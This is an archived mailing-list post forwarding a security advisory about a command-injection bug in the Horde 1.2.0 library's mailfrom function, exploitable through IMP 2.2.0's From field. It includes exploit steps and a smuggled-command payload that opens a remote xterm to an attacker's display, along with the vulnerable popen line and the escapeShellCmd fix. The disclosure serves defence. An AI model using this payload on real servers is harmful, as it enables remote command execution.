[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

[Christian.Winter@COC-AG.DE: horde library bug - unchecked from-address]

FYI - Debian potato and woody versions fall into this...I will have
fixed .deb's done this evening and uploaded to the appropriate locations.

Ivan E. Moore II
GPG Fingerprint=F2FC 69FD 0DA0 4FB8 225E 27B6 7645 8141 90BC E0DD
--- Begin Message ---

this bug we discovered recently.

***** HORDE 1.2.0 $from-bug and how to exploit with IMP 2.2.0 ******

            This is intended as a paper for sysadmins who want to secure
            their systems. It is NOT a how to for scriptkiddies to run
            any attack on a IMP-using site.

            The authors of this text will not be held responsible for
            any damage resulting from others using the documented exploits
            for attacking or invading 3rd parties' computers or networks.

Release Date:

            Bug found and exploited by Jens "atomi" Steube <js@coc-ag.net>
            Fixed and documentated by Christian "thepoet" Winter

            The bug was found in the horde library code of Horde 1.2.0.

            Other versions haven't been checked yet. If you are in doubt
            your version is also buggy, please contact the horde authors as
            described on http://horde.org.

            The $from-bug is in the horde library file 'horde.lib',
            (on debian systems installed in /usr/share/horde/lib/horde.lib)
            in line 1108 belonging to function "mailfrom". In this file
            there is a call to "popen" with an unchecked "from:"-line as
            argument. Exact syntax is:

            $mail = popen("$default->path_to_sendmail -i -f$from --
$recipients", 'w');

            If the user passes a string containing the "&" char to the
function as
            $from, commands can be executed under the uid and gid the
webserver is
            running as.

            Usually the horde.lib/mailfrom function is called by
            the IMP webmail interface. As IMP also does not check for
            the "&" char, it is passed on to popen(). There are also
            some other software-projects using the hordelib - they
            also could be exploited by the same means.	

            1) Just open an IMP and press Compose to write a new mail
            2) As your From-EMail Adress an exploit $from-line could be:

            &"/usr/X11R6/bin/xterm -display"&

            (Remember most people should replace with their own IP
            and also verify the path to xterm)

            or any other command you want.

            3) enter a recipient
            4) Send message, done.


            The horde library already provides a function that prevents this
            kind of exploits, called "escapeShellCmd". It is used with the
            "$recipients" var but not with "$from".

            To secure the installed horde it is sufficient to add the
            line 1108 in /usr/share/horde/lib/horde.lib:

            $from = escapeShellCmd( $from );

            or download a patch form:




thepoet <cw@coc-ag.net>

--- End Message ---

Reply to: